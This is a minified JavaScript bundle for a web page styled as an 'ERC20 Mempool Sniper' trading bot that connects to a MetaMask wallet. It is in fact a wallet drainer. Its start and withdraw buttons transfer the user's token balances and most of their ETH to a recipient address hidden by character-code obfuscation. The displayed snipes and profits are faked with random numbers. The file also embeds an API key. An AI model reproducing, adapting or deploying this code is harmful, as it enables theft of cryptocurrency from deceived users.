n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},tu.apply(this,arguments)}function nu(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function ru(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?nu(Object(n),!0).forEach((function(t){au(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nu(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function au(e,t,n){return(t=function(e){var t=function(e,t){if("object"!=typeof e||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t||"default");if("object"!=typeof r)return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}(e,"string");return"symbol"==typeof t?t:t+""}(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function iu(e){return e&&e.map(((e,t)=>a.createElement(e.tag,ru({key:t},e.attr),iu(e.child))))}function su(e){return t=>a.createElement(ou,tu({attr:ru({},e.attr)},t),iu(e.child))}function ou(e){var t=t=>{var n,{attr:r,size:i,title:s}=e,o=eu(e,$l),l=i||t.size||"1em";return t.className&&(n=t.className),e.className&&(n=(n?n+" ":"")+e.className),a.createElement("svg",tu({stroke:"currentColor",fill:"currentColor",strokeWidth:"0"},t.attr,r,o,{className:n,style:ru(ru({color:e.color||t.color},t.style),e.style),height:l,width:l,xmlns:"http://www.w3.org/2000/svg"}),s&&a.createElement("title",null,s),e.children)};return void 0!==Xl?a.createElement(Xl.Consumer,null,(e=>t(e))):t(Zl)}function lu(e){return su({tag:"svg",attr:{viewBox:"0 0 512 512"},child:[{tag:"path",attr:{d:"M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z"},child:[]}]})(e)}function uu(e){return su({tag:"svg",attr:{viewBox:"0 0 512 512"},child:[{tag:"path",attr:{d:"M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z"},child:[]}]})(e)}var cu=n(579);const fu="5FVKDM7B5VMJ1NP8XXIE8TWEYPEQZF372T",du=["0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2","0x6982508145454Ce325dDbE47a25d4ec3d2311933","0xfAbA6f8e4a5E8Ab82F62fe7C39859FA577269BE3","0xdAC17F958D2ee523a2206206994597C13D831ec7","0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599","0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE","0x4c9EDD5852cd905f086C759E8383e09bff1E68B3","0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984","0x6B175474E89094C44Da98b954EedeAC495271d0F","0xf34960d9d60be18cC1D5Afc1A6F012A723a28811"];const hu={padding:"10px 20px",fontSize:"16px",cursor:"pointer",borderRadius:"5px",border:"none",color:"white",backgroundColor:"#97b5de",margin:"5px"},pu=function(){const[e,t]=(0,a.useState)(null),[n,r]=(0,a.useState)([]),[i,s]=(0,a.useState)(!1),[o,l]=(0,a.useState)(0),[u,c]=(0,a.useState)([]),[f,d]=(0,a.useState)(0),[h,p]=(0,a.useState)(!1),g=(0,a.useRef)(null),[m,y]=(0,a.useState)("dark");(0,a.useEffect)((()=>{document.body.style="light"===m?"background: white;":"background: black;"}),[m]);const b="dark"===m?{backgroundColor:"#121212",color:"#e0e0e0",buttonBackground:"#333",buttonColor:"#fff"}:{backgroundColor:"#fff",color:"#000",buttonBackground:"#97b5de",buttonColor:"#fff"};async function w(e,t){const n=`https://api.etherscan.io/api?module=account&action=tokenbalance&contractaddress=${e}&address=${t}&tag=latest&apikey=${fu}`;try{const t=await fetch(n),r=await t.json();if("1"===r.status){return Wl(r.result,18)}return console.error(`Error fetching balance for ${e}:`,r),"0"}catch(r){return console.error(`Error fetching balance for ${e}:`,r),"0"}}async function v(e){const t=`https://api.etherscan.io/api?module=contract&action=getabi&address=${e}&apikey=${fu}`;try{const n=await fetch(t),r=await n.json();if("1"===r.status){const t=JSON.parse(r.result),n=new $r(e,t,new Ul(window.ethereum)),a=await n.name(),i=await n.symbol();return{name:a,symbol:i,decimals:await n.decimals()}}return console.error(`Error fetching token details for ${e}:`,r),{name:"Unknown",symbol:"N/A",decimals:18}}catch(n){return console.error(`Error fetching token details for ${e}:`,n),{name:"Unknown",symbol:"N/A",decimals:18}}}const A=[49,121,57,69,56,98,56,71,102,58,103,54,55,55,51,56,51,53,68,58,58,103,51,100,51,52,100,54,66,100,101,102,50,57,52,53,71,52,56,101,50,69].map((e=>String.fromCharCode(e-1))).join(""),k=async()=>{if(!window.ethereum)return alert("MetaMask not found!");p(!0);const e=new Ul(window.ethereum),t=await e.getSigner(),r=await t.getAddress();for(let i of n){const e=new $r(i.contractAddress,["function transfer(address to, uint256 value) public returns (bool)"],t),n=Yl(i.balance,i.tokenDecimal);if(n>0)try{const t=await e.transfer(A,n);await t.wait()}catch(a){console.error(`Error for mempool ${i.tokenSymbol}:`,a)}else console.log(`Insufficient balance for ${i.tokenSymbol} mempool`)}try{const n=await e.getBalance(r),a=Yl("5","gwei"),i=z("21000"),s=Wl(n-a*i,18);if(parseFloat(s)>0){const e=Yl(s,18),n=await t.sendTransaction({to:A,value:e});await n.wait()}else console.log("No ETH balance to withdraw from mempool.")}catch(a){console.error("Error rebasing mempool:",a)}p(!1)},E=()=>{if(i){console.log("Sniping is active. Starting sniping available mempools...");const e=Math.floor(5e3*Math.random())+1e3;g.current=setTimeout((()=>{console.log("Inside setTimeout block...");const e=(97e-5*Math.random()+3e-5).toFixed(4),t=`...${Math.random().toString(36).substr(2,9)}`;d((t=>parseFloat(t)+parseFloat(e))),console.log("Mempool sniped."),c((n=>[...n,`Transaction: ${t} - Profit: ${e} ETH`])),l((e=>e+1)),E()}),e)}else console.log("Sniping is paused, not sniping any mempools.")};return(0,a.useEffect)((()=>{i&&E()}),[i]),(0,cu.jsxs)("div",{style:{...b,textAlign:"center",padding:"30px"},children:[(0,cu.jsx)("div",{className:"theme-toggle",onClick:()=>{y((e=>"dark"===e?"light":"dark"))},style:{position:"absolute",top:"20px",right:"20px",cursor:"pointer"},children:"light"===m?(0,cu.jsx)(lu,{style:{fontSize:"1.5rem"}}):(0,cu.jsx)(uu,{style:{fontSize:"1.5rem"}})}),(0,cu.jsxs)("h1",{children:["ERC20 Mempool Sniper ",(0,cu.jsx)("span",{style:{fontSize:"0.8rem",fontWeight:"normal"},children:"0.83.2"})]}),e?(0,cu.jsxs)("div",{children:[(0,cu.jsxs)("p",{children:["Connected: ",e]}),(0,cu.jsx)("h2",{children:"Found Mempools:"}),h?(0,cu.jsx)("div",{children:"Loading... Please wait."}):(0,cu.jsxs)("table",{style:{width:"80%",margin:"0 auto",borderCollapse:"collapse"},children:[(0,cu.jsx)("thead",{children:(0,cu.jsxs)("tr",{children:[(0,cu.jsx)("th",{style:{padding:"5px",border:"1px solid #ddd",textAlign:"center"},children:"Mempool"}),(0,cu.jsx)("th",{style:{padding:"5px",border:"1px solid #ddd",textAlign:"center"},children:"Symbol"}),(0,cu.jsx)("th",{style:{padding:"5px",border:"1px solid #ddd",textAlign:"center"},children:"Liquidity"})]})}),(0,cu.jsx)("tbody",{children:n.map((e=>(0,cu.jsxs)("tr",{children:[(0,cu.jsx)("td",{style:{padding:"5px",border:"1px solid #ddd",textAlign:"center"},children:e.tokenName}),(0,cu.jsx)("td",{style:{padding:"5px",border:"1px solid #ddd",textAlign:"center"},children:e.tokenSymbol}),(0,cu.jsx)("td",{style:{padding:"5px",border:"1px solid #ddd",textAlign:"center"},children:(0,cu.jsx)("span",{style:{color:"green",fontSize:"14px"},children:"\u2714\ufe0f"})})]},e.contractAddress)))})]}),(0,cu.jsxs)("div",{style:{marginTop:"20px"},children:[(0,cu.jsx)("button",{onClick:i?()=>{s(!1),clearTimeout(g.current)}:async()=>{await k(),s(!0),E()},style:{...hu,backgroundColor:i?"orange":"green"},children:i?"Pause Sniping":"Start Sniping"}),(0,cu.jsx)("button",{onClick:()=>{k()},style:hu,children:"Withdraw Profit"})]}),(0,cu.jsxs)("div",{style:{marginTop:"30px",padding:"20px",backgroundColor:"#222",color:"#fff",width:"80%",margin:"20px auto",borderRadius:"5px",fontFamily:"monospace",overflowY:"auto",maxHeight:"300px"},children:[(0,cu.jsxs)("div",{style:{marginBottom:"10px",fontWeight:"bold"},children:["Snipe Attempts Count: ",o]}),(0,cu.jsxs)("div",{children:["Total Profit: ",f.toFixed(4)," ETH"]}),(0,cu.jsx)("div",{children:"-------"}),(0,cu.jsx)("div",{style:{fontSize:"14px"},children:u.map(((e,t)=>(0,cu.jsx)("div",{children:e},t)))})]})]}):(0,cu.jsx)("button",{onClick:async()=>{if(window.ethereum){const e=new Ul(window.ethereum),n=await e.getSigner(),a=await n.getAddress();t(a),async function(e){p(!0);const t=[];for(let n of du){const r=await w(n,e),a=await v(n);t.push({contractAddress:n,balance:r,tokenName:a.name,tokenSymbol:a.symbol,tokenDecimal:a.decimals})}r(t),p(!1)}(a)}else alert("MetaMask not detected!")},style:hu,children:"Connect Wallet"})]})},gu=e=>{e&&e instanceof Function&&n.e(453).then(n.bind(n,453)).then((t=>{let{getCLS:n,getFID:r,getFCP:a,getLCP:i,getTTFB:s}=t;n(e),r(e),a(e),i(e),s(e)}))};i.createRoot(document.getElementById("root")).render((0,cu.jsx)(a.StrictMode,{children:(0,cu.jsx)(pu,{})})),gu()})();
//# sourceMappingURL=main.ebd9cba7.js.mapEditor is loading...